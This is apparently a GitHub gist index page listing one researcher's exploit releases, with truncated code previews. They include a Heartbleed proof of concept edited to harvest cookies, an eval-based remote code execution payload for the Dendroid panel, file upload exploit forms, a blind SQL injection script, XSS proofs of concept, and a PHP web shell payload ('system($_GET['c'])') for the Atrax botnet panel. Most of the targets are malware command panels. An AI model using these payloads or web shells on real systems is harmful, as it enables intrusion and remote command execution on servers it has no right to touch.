Xyl2k’s gists

Xyl2k / spyeye.php

Created November 21, 2019 16:06

old sploit release

Xyl2k / Keitaro TDS Auth bypass v6.x - v7.7.10

Created November 1, 2016 02:08

Xyl2k / heartbleed.py

Created February 16, 2016 15:39

Python Heartbleed (CVE-2014-0160) Proof of Concept

	#!/usr/bin/python

	# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
	# The author disclaims copyright to this source code.
	# Edited spl0it to loop and save cookies.

	import sys
	import struct
	import socket
	import time

Xyl2k / kek.py

Last active May 31, 2021 11:06

Dendroid remote code execution

	import requests

	# Add URL
	# Set a PHP payload
	# Go to http://website/config.php

	URL = 'http://localhost/Panel/applysettings.php'
	PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '"

	data = {

Xyl2k / pwn.html

Created June 17, 2015 18:13

Gorynych/DiamondFox v4.2.0.257- File Upload Vulnerability

	<!DOCTYPE html>
	<html>
	<head>
	<title>Gorynych v4.2.0.257- File Upload Vulnerability</title>
	<!-- Panel.zip hash: e698cf7cc57b20c02fce6de83299b75b -->
	</head>
	<body>
	<h1>◉ Gorynych/DiamondFox v4.2.0.257 - File Upload Vulnerability ◉</h1>
	<form action="http://localhost/Panel/post.php" method="POST" enctype="multipart/form-data">
	<input type="file" name="upload1">

Xyl2k / eye.py

Created February 8, 2015 16:54

SpyEye frmcp2 xss

	# SpyEye version ? reflected XSS POC
	# Xartrick
	# Xylitol

	import urllib
	import urllib2

	# Configuration ...

	sPayload = '<script>alert(1);</script>'

Xyl2k / pwn.php

Created December 23, 2014 14:53

Phase botnet blind SQL injection vulnerability

	<?php
	// Start with PHP CLI (php pwn.php)
	set_time_limit(0);

	// Adjust this :)
	define('SLEEP_TIME', '4');
	define('PAGE_TIME', 4);
	define('URL', 'http://localhost/Phase/');

	echo('attacking ' . URL . PHP_EOL);

Xyl2k / Atrax Botnet Shell Upload Vulnerability

Created November 25, 2014 01:53

Atrax Botnet Shell Upload Vulnerability

	import random
	import string
	import base64
	import urllib
	import urllib2

	# <CONFIG>
	payload = '<pre><?php if(isset($_GET["c"]))system($_GET["c"]);else echo("No input?");?></pre>'
	url = 'http://localhost/atrax/'
	# </CONFIG>

Xyl2k / gist:9a75b885766ae0fc6046

Created October 6, 2014 06:47

iBanking panel upload vulnerability

	<!-- iBanking panel upload vulnerability -->
	<!-- get.php?p=..&i=.&f=dbconfig.php -->
	<form method="POST" action="http://localhost/smsbot/sendFile.php" enctype="multipart/form-data">
	FiLEZ: <input type="file" name="uploadedfile" /><br />
	<input type="hidden" name="bot_id" value="500" />
	<input type="hidden" name="imei" value="000000000000000" />
	<input type="submit" value="Pwn" />
	</form>

Xyl2k / Soraya XSS Vulnerability

Created September 14, 2014 09:31

Steven K Xyl2k